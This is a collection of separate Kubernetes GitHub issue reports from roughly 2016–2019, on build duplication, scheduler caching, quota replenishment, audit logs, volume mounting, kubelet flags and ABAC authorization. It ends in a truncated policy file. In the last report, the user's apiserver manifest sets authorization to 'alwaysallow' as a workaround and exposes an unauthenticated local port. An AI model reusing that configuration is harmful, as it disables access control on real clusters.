docker.io/istio/examples-bookinfo-reviews-v3@sha256:8c0385f0ca799e655d8770b52cb4618ba54e8966a0734ab1aeb6e8b14e171a3b\r     - docker.io/istio/examples-bookinfo-reviews-v3:1.8.0\r     sizebytes: 525074812\r   - names:\r     - dinfo.cn/alpine/codeclimate-sonar-python@sha256:e9bd8e6ae17ea6b3a5454840c88b935847246f16b1b1f51723a0e28ad5c9af27\r     - dinfo.cn/alpine/codeclimate-sonar-python:1.0\r     sizebytes: 480146860\r   - names:\r     - dinfo.cn/alpine/codelimate-sonar-java@sha256:35e0d992f47d9683a10379cac9ec92da38bb42f23d0d77a7dd5bf7ab457e839f\r     - dinfo.cn/alpine/codelimate-sonar-java:1.0\r     sizebytes: 442182642\r   - names:\r     - docker.io/istio/examples-bookinfo-reviews-v2@sha256:300d21576ee414a0616584e5846660a4f82bc0cfc2d9c1c2ce42bca4d7b3af9d\r     - docker.io/istio/examples-bookinfo-reviews-v2:1.5.0\r     - istio/examples-bookinfo-reviews-v2:1.5.0\r     sizebytes: 431362026\r   - names:\r     - docker.io/argoproj/argoexec@sha256:c94cf6a7b76ad5cc0a7038f045df981a3c2a1dc790fdc0673fa7e8fb0ca24b17\r     - docker.io/argoproj/argoexec:v2.1.1\r     sizebytes: 389061178\r   - names:\r     - docker.io/istio/examples-bookinfo-mongodb@sha256:07ddf2f96c7287b761747ff5fd64e8364e009bf1e4932fb5a2ce9457f5eee9a2\r     - docker.io/istio/examples-bookinfo-mongodb:1.8.0\r     sizebytes: 379080429\r   - names:\r     - docker.io/istio/proxyv2@sha256:77915a0b8c88cce11f04caf88c9ee30300d5ba1fe13146ad5ece9abf8826204c\r     - docker.io/istio/proxyv2:1.0.0\r     sizebytes: 351037946\r   - names:\r     - gcr.io/istio-release/proxyv2:release-1.0-latest-daily\r     sizebytes: 350373050\r   - names:\r     - docker.io/istio/proxyv2@sha256:5c89848a4418cd4e493312fa85135e5f797c5b3e5a72be0f0dda45d70fea8b6b\r     - docker.io/istio/proxyv2:1.0.0-snapshot.1\r     sizebytes: 349588545\r   - names:\r     - docker.io/istio/grafana@sha256:9788bf01cb550e8cec648a56d50da653cbd5a310dc6cecd86274da50573b3e1b\r     - docker.io/istio/grafana:0.7.1\r     sizebytes: 305776814\r   - names:\r     - docker.io/grafana/grafana@sha256:9c86e0950726eb2d38dba6a0fa77e8757b76782a9a3cf56b65fcb689fcfd3b9e\r     - docker.io/grafana/grafana:5.0.0\r     sizebytes: 300902580\r   - names:\r     - docker.io/rancher/rancher-agent@sha256:8b456ed80e6e21017d49b9f45c8528e347f0e683982c1cb5b0f622866a9f6fa0\r     - docker.io/rancher/rancher-agent@sha256:fe710fccaa9f046f4ea8249355f0bcfde9b55da98f8eed8397dd41a0ab3d83c6\r     - docker.io/rancher/rancher-agent:v2.0.6\r     sizebytes: 296191287\r   - names:\r     - docker.io/rancher/rancher-agent@sha256:b46d16bfe8d703b1fda91a399d406667a9c23462e191a806e739dfb4984b9f14\r     - docker.io/rancher/rancher-agent:v2.0.7\r     sizebytes: 293895130\r   - names:\r     - docker.io/istio/pilot@sha256:db61fb30f321d28c57452bd3fa4ec1592f3c89f5e1d1dc2eb6ef2289c6dd097d\r     - docker.io/istio/pilot:1.0.0\r     sizebytes: 289317147\r   - names:\r     - gcr.io/istio-release/pilot:release-1.0-latest-daily\r     sizebytes: 289157211\r   - names:\r     - docker.io/istio/pilot@sha256:7ec46d12d7b5bc54802b8e1dedfa99c880bb605ba25f05091a812ff3eb00acf4\r     - docker.io/istio/pilot:1.0.0-snapshot.1\r     sizebytes: 288934972\r   - names:\r     - docker.io/kiali/kiali@sha256:4140573e9d717449c452e781d80410ebf106cb5c28a4829abd81ed0c5bac7e31\r     - docker.io/kiali/kiali@sha256:e3e4e0364a90132654ac6cfb063e0fb57db5327e46a9ccda4dca477e6dfad71e\r     - docker.io/kiali/kiali:latest\r     sizebytes: 265680533\r   - names:\r     - dinfo.cn/alpine/nexus@sha256:63535f095d3cd9265062ddcee81397efcb392ba0329bb5ba449171d2a4e1989c\r     - dinfo.cn/alpine/nexus:2.0\r     sizebytes: 255809804\r   - names:\r     - docker.io/istio/examples-bookinfo-details-v1@sha256:73e1de909cd387cf377bb51ddd90167d0f44cf0659746d1d0e50276e8f1c9df3\r     - docker.io/istio/examples-bookinfo-details-v1:1.8.0\r     sizebytes: 253849570\r   - names:\r     - docker.io/rancher/calico-node@sha256:21d581d7356f2dba648f2905502a38fd4ae325fd079d377bcf94028bcfa577a3\r     - docker.io/rancher/calico-node:v3.1.1\r     sizebytes: 248203187\r   - names:\r     - dinfo.cn/jiabao/service-c@sha256:48419f7b784d423aa13134625a10444290c8235da74603d94c2483b13c2b6cd4\r     - dinfo.cn/jiabao/service-c:0.0.3\r     sizebytes: 242188880\r   - names:\r     - quay.io/pires/docker-elasticsearch-kubernetes@sha256:7b4b0b9b63ac658c1055113468ab9658f7530362ecc89e7f29ca0f126fae6660\r     - quay.io/pires/docker-elasticsearch-kubernetes:6.3.2\r     sizebytes: 237103317\r   - names:\r     - quay.io/pires/docker-elasticsearch-kubernetes@sha256:dcd3e9db3d2c6b9a448d135aebcacac30a4cca655d42efaa115aa57405cd22f3\r     - quay.io/pires/docker-elasticsearch-kubernetes:6.3.0\r     sizebytes: 236003421\r   - names:\r     - docker.io/istio/examples-bookinfo-ratings-v1@sha256:f84302e53e62a8a12510c7f8f437a7a34949be3dfb37f4eb9d054a76436fa4d7\r     - docker.io/istio/examples-bookinfo-ratings-v1:1.8.0\r     sizebytes: 217946166\r   - names:\r     - dinfo.cn/jiabao/service-a@sha256:9d88662831b9e54180c2eda302fa9c45e5af2684512373481acdc0dc22276f26\r     - dinfo.cn/jiabao/service-a:0.0.3\r     sizebytes: 217005284\r   - names:\r     - dinfo.cn/jiabao/service-b@sha256:16ba92521ff7a9e0d8f7a05f56ddddef35493596dcf1be5500957721886ea5e0\r     - dinfo.cn/jiabao/service-b:0.0.3\r     sizebytes: 217005236\r   - names:\r     - dinfo.cn/jiabao/portal@sha256:e3710b58e831f33c1f0495f9ee70bd0708789577ff35ff1fc3e77e83ec0e8263\r     - dinfo.cn/jiabao/portal:0.0.3\r     sizebytes: 214638357\r   - names:\r     - docker.io/rancher/nginx-ingress-controller@sha256:70569898ae816e8351af9b02d2ad836e8066b99b51af02f4fbcbdcc37dba689a\r     - docker.io/rancher/nginx-ingress-controller:0.10.2-rancher3\r     sizebytes: 203231435\r   - names:\r     - docker.io/istio/examples-bookinfo-productpage-v1@sha256:b012b9545d7883cb214a16547a4456f160cfe5cf82362a412cad8107fa55c542\r     - docker.io/istio/examples-bookinfo-productpage-v1:1.5.0\r     - istio/examples-bookinfo-productpage-v1:1.5.0\r     sizebytes: 161141475\r   - names:\r     - docker.io/argoproj/argoui@sha256:3ec72558018902b814f164fc0c61dc069166c7b8ccafc3e3b2516cbe7393715c\r     - docker.io/argoproj/argoui:v2.1.1\r     sizebytes: 157995512\r   - names:\r     - docker.io/istio/examples-bookinfo-productpage-v1@sha256:ab56bedb0195aafc985cb54ed2d69d0eb083da212bc4d17a017ebd8d72af513a\r     - docker.io/istio/examples-bookinfo-productpage-v1:1.8.0\r     sizebytes: 143976735\r   - names:\r     - docker.io/argoproj/workflow-controller@sha256:ac75f47cb304111d6a021f35f7354a0a405836a3d668ceb9ec7d023e2a460954\r     - docker.io/argoproj/workflow-controller:v2.1.1\r     sizebytes: 135792860\r   - names:\r     - dinfo.cn/jiabao/fluentd-elasticsearch@sha256:379eee3e144c4bfb94c01573a4693d8b5e445d2737e21b64899fa0bdb67b2a3e\r     - dinfo.cn/jiabao/fluentd-elasticsearch:v2.0.4\r     sizebytes: 135716379\r   - names:\r     - docker.io/rancher/rke-tools@sha256:90f9403f8f9ce05dfa1984183d3e4e7c4da2b9ea883027a2d2e6c0643c7a45e4\r     - docker.io/rancher/rke-tools:v0.1.13\r     sizebytes: 124983324\r   - names:\r     - docker.io/rancher/rke-tools@sha256:669b829817ca0fde14dd5cbeb7a4609016312c40241e934b77da79bf67766109\r     - docker.io/rancher/rke-tools:v0.1.10\r     sizebytes: 124368144\r   - names:\r     - docker.io/prom/prometheus@sha256:aac607c45c0340e8734bba09f76e8220b876ad76121e9747eb369fc601283dc9\r     - docker.io/prom/prometheus:latest\r     sizebytes: 118822274\r   - names:\r     - docker.io/prom/prometheus@sha256:0283ae2509e1ccc71830edf382713cc3906aa55ca9418c50911854223829bf0b\r     - docker.io/prom/prometheus:v2.3.1\r     sizebytes: 118818909\r   - names:\r     - docker.io/istio/proxy_init@sha256:062220ba6415536cd5b2f7029f1d27a3f024f45eed0582705a0a62e07029a92a\r     - docker.io/istio/proxy_init:1.0.0\r     sizebytes: 118776809\r   - names:\r     - gcr.io/istio-release/proxy_init:release-1.0-latest-daily\r     sizebytes: 118503562\r   nodeinfo:\r     architecture: amd64\r     bootid: 2585ba31-5781-4d79-bb64-7dcf9e724036\r     containerruntimeversion: docker://1.13.1\r     kernelversion: 3.10.0-862.6.3.el7.x86_64\r     kubeproxyversion: v1.11.1\r     kubeletversion: v1.11.1\r     machineid: 8c859f2bde9e41155bca40d2d85aebb5\r     operatingsystem: linux\r     osimage: centos linux 7  core \r     systemuuid: 564de8db-5012-a0f2-6a51-66c4e7cc5e76\r \r    \r \r   what you expected to happen  :\r \r ps aux | grep kubelet  should see the parameter --authorization-mode=webhook\r \r    \r  rancher@node158 ~ $ ps aux | grep kubelet\r rancher  19408  0.0  0.0 112724   984 pts/0    s+   13:57   0:00 grep --color=auto kubelet\r root     23560  4.9  0.9 1827920 153652 ?      ssl  8月17 220:46 kubelet --pod-infra-container-image=rancher/pause-amd64:3.1 --cloud-provider= --v=2\r  --address=0.0.0.0 --cadvisor-port=0 --cni-conf-dir=/etc/cni/net.d --authentication-token-webhook=true \r  --volume-plugin-dir=/var/lib/kubelet/volumeplugins --client-ca-file=/etc/kubernetes/ssl/kube-ca.pem \r  --fail-swap-on=false --anonymous-auth=false --cluster-domain=dinfo.cn --cluster-dns=10.43.0.10 --read-only-port=0 --cgroups-per-qos=true\r  --enforce-node-allocatable= --cni-bin-dir=/opt/cni/bin --allow-privileged=true --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml \r  --network-plugin=cni --resolv-conf=/etc/resolv.conf --hostname-override=192.168.181.158 --root-dir=/var/lib/kubelet --cgroup-driver=systemd \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@node128 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r    \r  rancher@node93 ~ $ ./rke --version\r rke version bff7e0a-dirty\r \r    \r - os  e.g. from /etc/os-release :\r    \r  root@node128 ~   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@node128 ~   uname -a\r linux node128 3.10.0-862.6.3.el7.x86_64  1 smp tue jun 26 16:32:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r rancher2.0.7

goal  most operations conducted by clients against the server are done using the primary api of the server  today,  v1  .  internally, we must maintain a version of code that can be converted to all other api versions - we call this the  internal  version and it is denoted in the scheme as  __internal .  all api operations start in a serialized form  either from a client or from etcd , are read as bytes / strings, loaded into a go struct  known as an external type , defaulting is provided, then the object is converted to the internal api version and passed to the api machinery.  the value either then is sent to etcd or back to the client in a reversed process.  this conversion is mostly unnecessary - our internal objects track the primary external version quite closely, we end up maintaining n+1 versions of our objects instead of just n, and we generally require all objects to be 100% convertible to all supported api versions by introducing new fields on older versions that match the newer api version.  removing the internal version results in less maintenance during refactors, and clearer outcomes in client code.  at the present time, a conversion operation is roughly ~15us, defaulting is roughly ~5us, and a json encode or decode is roughly ~60us.  when performing a simple get from etcd, we decode, convert, default, process, convert, encode, which works out to about ~155us of cpu time for common operations in the apiserver  with associated garbage created , and on clients an equal amount of cpu time.  the forthcoming protobuf serialization drastically slashes the cost of encode/decode to ~5us. at that point the same operation might be about ~45us, of which ~30us is conversion.  we should be able to avoid the majority of that cost by skipping conversion on the common code path.  the reduction in cpu lost to garbage might be equally high, but is not quantified here.     steps on the path to removing __internal: 1. define a way to perform defaulting on an object that doesn't go through conversion 2. handle validation on versioned objects  moves validation from __internal to major external to start  3. be able to generate client libraries that are versioned and can avoid conversion if necessary 4. generate conversions from the primary version to each other version instead of going through __internal. 5. convert rest.storage objects to use versioned form 6. convert clients to use versioned client 7. ??? 8. remove internal types

while running make quick-release i get the following:      wojtekt@wojtekt-work:~/go/src/k8s.io/kubernetes$ make quick-release +++  1025 15:02:11  verifying prerequisites.... +++  1025 15:02:12  syncing sources to container +++  1025 15:02:13  running build command... +++  1025 15:02:21  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:02:22  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:02:22  building go targets for linux/amd64:     cmd/libs/go2idl/deepcopy-gen +++  1025 15:02:26  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:02:27  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:02:27  building go targets for linux/amd64:     cmd/libs/go2idl/defaulter-gen +++  1025 15:02:31  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:02:32  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:02:32  building go targets for linux/amd64:     cmd/libs/go2idl/conversion-gen +++  1025 15:02:37  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:02:38  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:02:38  building go targets for linux/amd64:     cmd/kube-dns     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/kubeadm     cmd/hyperkube     cmd/kube-discovery     plugin/cmd/kube-scheduler +++  1025 15:04:19  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:04:20  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:04:20  building go targets for linux/amd64:     cmd/libs/go2idl/deepcopy-gen +++  1025 15:04:26  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:04:27  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:04:27  building go targets for linux/amd64:     cmd/libs/go2idl/defaulter-gen +++  1025 15:04:31  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:04:32  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:04:32  building go targets for linux/amd64:     cmd/libs/go2idl/conversion-gen +++  1025 15:04:38  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:04:39  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:04:39  building go targets for linux/amd64:     cmd/kubectl +++  1025 15:05:14  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:05:15  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:05:15  building go targets for linux/amd64:     cmd/libs/go2idl/deepcopy-gen +++  1025 15:05:20  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:05:21  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:05:21  building go targets for linux/amd64:     cmd/libs/go2idl/defaulter-gen +++  1025 15:05:25  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:05:26  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:05:26  building go targets for linux/amd64:     cmd/libs/go2idl/conversion-gen +++  1025 15:05:31  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:05:32  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:05:32  building go targets for linux/amd64:     cmd/gendocs     cmd/genkubedocs     cmd/genman     cmd/genyaml     cmd/mungedocs     cmd/genswaggertypedocs     cmd/linkcheck     examples/k8petstore/web-server/src     federation/cmd/genfeddocs     vendor/github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test +++  1025 15:06:57  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:06:58  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:06:58  building go targets for linux/amd64:     cmd/libs/go2idl/deepcopy-gen +++  1025 15:07:03  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:07:04  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:07:04  building go targets for linux/amd64:     cmd/libs/go2idl/defaulter-gen +++  1025 15:07:08  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:07:09  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:07:09  building go targets for linux/amd64:     cmd/libs/go2idl/conversion-gen +++  1025 15:07:14  generating bindata:     /go/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  1025 15:07:14  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  1025 15:07:14  building go targets for linux/amd64:     cmd/kubemark     vendor/github.com/onsi/ginkgo/ginkgo ...      we are building gobindata and teststale 16 times each, which clearly seems like a waste of time.  @thockin @gmarek @jayunit100

\r   is this a bug report or feature request?    choose one :    \r maybe a bug or a point we can improve\r \r \r ---\r \r   kubernetes version    use  kubectl version  :    \r k8s1.3.5. i think it still exist in 1.6\r \r \r ---\r \r   what happened  :    \r when   restart   kube-scheduler component, kube-scheduler schedules pod to node which has not enough resources. so this pod is set falied   by kubelet  .\r \r \r ---\r \r   what you expected to happen  :    \r we don't want to schedule pod to node which has not enough resources, and i think we had better deal with this question in kube-scheduler instead of in kubelet   predicate again   .\r \r ---\r \r \r   how to reproduce it    as minimally and precisely as possible :  \r \r firstly, restart kube-scheduler.    \r \r a pod that needs scheduling. newly created or created before scheduler shutdown.  \r \r and scheduledpod cache   has not been completely synced  . so some nodes may be thought has enough resources.  if scheduledpod cache is synced completely, these nodes may have not enough resources for new pod     \r \r now schduler is scheduling this pod. scheduler may schedule pod to nodes which have not enough resources. however scheduler thinks target node has enough resources.\r \r when corresponding kubelet watchs this schedule event, it re-runs predicate func and finds that this node doesn't have enough resources.\r \r \r ---\r \r \r   anything else we need to know  :\r \r i think we shoud   add hassynced func   for scheduledpod cache in kube-scheduler. until scheduledpod cache syncs completely, start the work of scheduling pod.

is this a request for help?   partly\r \r   what keywords did you search in kubernetes issues before filing this one?   xfs gce gci cos mount\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  : 1.6.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : container-optimized os v57  build id: 9202.64.0 \r -   kernel    e.g.  uname -a  : linux\r -   install tools  :\r -   others  :\r \r \r   what happened  : the node failed to mount an xfs pv on gce using the cos image. with the container-vm image everything was fine after i installed xfsprogs.\r \r   what you expected to happen  : the node should mount the xfs volume on cos too.\r \r \r   how to reproduce it  : try to create an xfs persistent volume in gcloud, then mount it into a pod. \r \r \r   anything else we need to know  : i'm not sure that this is the right place to post this issue. if not, please could you point me to the right direction?  i know that this is an issue with the cos itself rather than k8s. \r \r

background: when is quota charged\r the object count quota is charged when an object is created, no matter if it's initialized or uninitialized. this is to protect the system from having too many uninitialized objects.\r \r other quotas are charged when objects are initialized. they don't suffer from the problems.\r \r     problems with replenishing the object count quota\r   if the object is deleted uninitialized, the object count quota is not replenished immediately, because the quota replenishment controller doesn't observe uninitialized objects.\r   the resource quota controller does a full  resync  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/resourcequota/resource_quota_controller.go l146  every  5mins  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.1/cmd/kube-controller-manager/app/options/options.go l74 . it lists every objects in the informer and recalculate the quota usage. the informer doesn't include uninitialized objects, so the controller will wrongly replenish the object count quota for uninitialized objects.\r \r     brain storming fixes\r \r   let the replenishment controller observe the uninitialized objects  e.g., https://github.com/kubernetes/kubernetes/pull/51247 .\r \r   or, for the replenishment of object counts, we build a special informer that only observes uninitialized objects. assuming that the number of uninitialized objects is small, storing uninitialized objects outside of the shared informer causes small overhead. \r     we can add an fieldselector or accept header to let apiserver only return uninitialized objects for list/watch.\r     further, we can create a separate quota for uninitialized object counts.\r \r     related issues\r https://github.com/kubernetes/kubernetes/issues/51820 notes multiple problems with the quota system. fixing them all-at-once requires a redesign, which could cost multiple quarters. i want to graduate initializers to beta independent of  51820, so i filed this issue to discuss more targeted solutions.\r \r @kubernetes/sig-api-machinery-bugs @lavalamp @liggitt @derekwaynecarr

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  kubectl cluster-info  reports that the cluster is running and returns exit code 0.\r  kubectl cluster-info dump  correctly identifies that the cluster is not running and exists with exit code 1.\r \r   what you expected to happen  :\r  kubectl cluster-info  should fail when the cluster is not running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start and stop a kubernetes cluster using minikube and then type kubectl cluster-info.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-10-06t20:53:14z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : local\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux ubuntu16-hp-800 4.10.0-35-generic  39~16.04.1-ubuntu smp wed sep 13 09:02:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: snap for kubectl. minikube local for k8s.\r - others:\r

we would like to create a \ trusted\  application deployment history using audit logs https://github.com/kubernetes/features/issues/22. when we deploy yamls in kubernetes , we annotate them with git commit hash. now, we want to write an audit webhook that to create a deployment history/timeline based on that information. from the docs this seems possible for the main api server. i saw that aggregate servers are not supported yet. https://github.com/kubernetes/kubernetes/issues/54551\r \r one of the limitations of  metadata  log level is that it does not include resource annotations. so, we need to set log level to  request  which will have potential performance implications.\r \r @crassirostris told me on slack that there will be support for filtering in future releases for audit logs. so, i wanted to file a feature request for this use-case.\r \r /cc @crassirostris @liggitt @soltysh @bgrant0607\r

hello,\r \r i might have missed it, but i am unable to find documentation about imagepullbackoff timing.\r \r specifically: how long does it take for a retry to take place after imagepullbackoff error occured?\r \r is this something that can be configured? in the deployment or cluster scope?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-storage gce-multizone\r \r probably related to requiring that the pod needs to be scheduled in the same zone where the pd is created.

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and a few extension points, such as \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \r  prefilter  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-filter  plugins are used to pre-process info about the pod, or to check certain conditions that the cluster or the pod must meet. if a pre-filter plugin returns an error, the scheduling cycle is aborted.\r these prefilter plugins can perform operations such as building \ prediate metadata\  or performing basic checks on pods.\r \r  / ref/ kubernetes/enhancements 624

bug report\r \r it seems my kube-api server doesn't want to authorize correctly. i examine my audit log, but what's strange is i was seeing that my kube-dns was using the service account just fine, but kube-dashboard wouldn't start. i also ran through the troubleshooting and i could connect to my master, just not authenticate. i switched my authorization method from abac to alwaysallow and i can side step the issue. i also opened up an audit log on the api and could see that somethings would authorize, for example my workers, but others would just get denied. \r \r i've tried deleting my serivce tokens, deleting the host, deleting the pods. with no success. \r \r here are my api server configs\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-apiserver\r     image: quay.io/coreos/hyperkube:v1.4.3_coreos.0\r     command:\r     - /hyperkube\r     - apiserver\r     - --bind-address=0.0.0.0\r     - --etcd-servers=http://localhost:2379\r     - --allow-privileged=true\r     - --service-cluster-ip-range=10.252.1.0/24\r     - --secure-port=443\r     - --advertise-address=10.1.40.5\r     - --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota\r     - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem\r     - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --client-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --service-account-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --runtime-config=extensions/v1beta1/networkpolicies=true\r     - --cloud-provider=aws\r     - --token-auth-file=/etc/kubernetes/auth/tokens.csv\r     - --authorization-mode=alwaysallow\r     livenessprobe:\r       httpget:\r         host: 127.0.0.1\r         port: 8080\r         path: /healthz\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     ports:\r     - containerport: 443\r       hostport: 443\r       name: https\r     - containerport: 8080\r       hostport: 8080\r       name: local\r     volumemounts:\r     - mountpath: /etc/kubernetes/ssl\r       name: ssl-certs-kubernetes\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ssl-certs-host\r       readonly: true\r     - mountpath: /etc/kubernetes/auth\r       name: auth-kubernetes\r       readonly: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/ssl\r     name: ssl-certs-kubernetes\r   - hostpath:\r       path: /usr/share/ca-certificates\r     name: ssl-certs-host\r   - hostpath:\r       path: /etc/kubernetes/auth\r     name: auth-kubernetes   \r \r    json\r {\ apiversion\ :\ abac.authorization.kubernetes.io/v1beta1\ ,\ kind\ :\ policy\ ,\ spec\ :{\ user\ :\ system:serviceaccount:kube-system:default\ ,\ namespace\ :\  \ ,\ resource\ :\  \ ,\ apigroup\ :\  \ }}\r {\ apiversion\ :\ abac.authorization.kubernetes.io/v1beta1\ ,\ kind\ :\ policy\ ,\ spec\ :{\ user\ :\ system:serviceaccount:jenkins:default\ , \ namespace\ : \ jenkins\ , \ resource\ : \  \ , \ readonly\ : true}} \r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ :\ kube-worker\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ :\ kube-admin\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : 